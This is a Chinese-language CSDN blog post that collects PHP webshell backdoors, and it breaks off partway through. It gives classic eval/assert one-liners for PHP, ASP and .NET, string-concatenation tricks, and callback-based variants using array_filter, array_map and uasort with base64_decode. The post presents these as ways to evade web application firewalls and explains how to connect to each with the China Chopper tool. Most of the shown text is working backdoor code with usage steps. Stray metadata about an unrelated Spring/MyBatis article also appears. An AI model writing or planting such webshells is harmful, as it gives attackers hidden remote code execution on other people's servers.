【WEB】webshell回调php总结

本文详细介绍了如何利用PHP的回调函数如array_filter, array_map, uasort等配合base64_decode等技巧绕过Web应用防火墙(WAF),并列举了多种PHP一句话后门的实现方式,包括array_filter, array_map, preg_replace等,旨在探讨如何构造隐蔽的PHP后门。" 109458608,9964150,Spring整合JDBC与MyBatis教程,"['Spring框架', '数据库集成', 'MyBatis', '事务处理', 'Java开发']
摘要由CSDN通过智能技术生成

 目录 

经典一句话

利用简单的拼接字符串

利用php回调函数等技巧绕过WAF的方法(姑且简称“回调后门”吧)

1. 利用 array_filter+base64_decode

2.利用array_map+base64_decode

3.利用uasort+base64_decode 

4.利用array_walk+preg_replace

5.利用array_walk_recursive+preg_replace

6.利用mb_ereg_replace

7.利用preg_filter

8.利用register_shutdown_function

9.利用register_tick_function

10.利用filter_var

强悍的PHP一句话后门

                   利用404页面隐藏PHP小马:

          无特征隐藏PHP一句话:

          超级隐蔽的PHP后门:

          层级请求,编码运行PHP后门:

          PHP后门生成工具weevely

三个变形的一句话PHP木马 

         第一个

         第二个

         第三个

最后列几个高级的PHP一句话木马后门:


经典一句话

PHP: <?php @eval($_POST['pass']);?>

ASP: <%eval request("pass")%>

.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

我们写一句话最终还是要拼接成经典的一句话的,当然,实现方式不止eval,还可以是assert,而且很多时候用菜刀连接的时候使用的是assert,具体原因见 从底层分析eval和assert的区别

利用简单的拼接字符串

1.

<?php 
    $POST['POST']='assert';
    $array[]=$POST;
    $array[0]['POST']($_POST['joker']);
?>

用法:  http://www.xxx.com/1.php

菜刀连接用法:  http://www.xxx.com/1.php

密码:joker

详解:  assert,是php代码执行函数,与eval()有同样的功能,应为$array[],POST[]都是数组,所以array[]=array[]=POST,就是把POST数组的值赋给POST数组的值赋给array数组,这样的话$array[0]['POST']的输出就是assert,所以组成了一句话木马

assert($_POST['joker']),直接用菜刀链接即可

2.

<?php
error_reporting(0);
$g = array('','s');
$gg = a.$g[1].ser.chr('116');
@$gg($_POST[joker]);
?>

用法:  http://www.xxx.com/2.php

菜刀连接用法: http://www.xxx.com/2.php

密码:joker

详解:$g是个数组,g[1]=′s′,chr(′116′)=′t′,(https://blog.csdn.net/yabingshitech/article/details/19833217ASCll码对应表),这样的g[1]=′s′,chr(′116′)=′t′,(https://blog.csdn.net/yabingshitech/article/details/19833217ASCll码对应表),这样的gg=assert,@gg(gg(_POST[joker])不就是assert($_POST[joker]),是我们常见的一句话木马,直接菜刀链接即可

利用php回调函数等技巧绕过WAF的方法(姑且简称“回调后门”吧)

1. 利用 array_filter+base64_decode

<?php $e = $_REQUEST['e'];
$arr = array($_POST['settoken'],);
array_filter($arr, base64_decode($e));
?>

 

用法:

http://www.xxx.com/settoken.php?e=YXNzZXJ0 (这里的“YXNzZXJ0 ”是assert用base64加密后的,因为源码用到了base64_decode)

浏览器提交POST:settoken=phpinfo();

菜刀连接用法:http://www.xxx.com/settoken.php?e=YXNzZXJ0

密码:settoken

补充

array_filter()回调函数,原型为:

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。这样就构成了assert($_POST['POST'])这个经典一句话

2.利用array_map+base64_decode

<?php $e = $_REQUEST['e'];
$arr = array($_POST['settoken'],);
array_map(base64_decode($e), $arr);
?>

类似上一个array_filter,都是php回调函数的利用

用法:同上一个

3.利用uasort+base64_decode 

<?php 
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['settoken']);
uasort($arr, base64_decode($e));
?>
<?php 
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['settoken'] => 2);
uksort($arr, $e);
?>

用法类似

再给出这两个函数,面向对象的方法:
// method 0
$arr = new ArrayObject(array('test', $_REQUEST['pass&#

  • 1
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值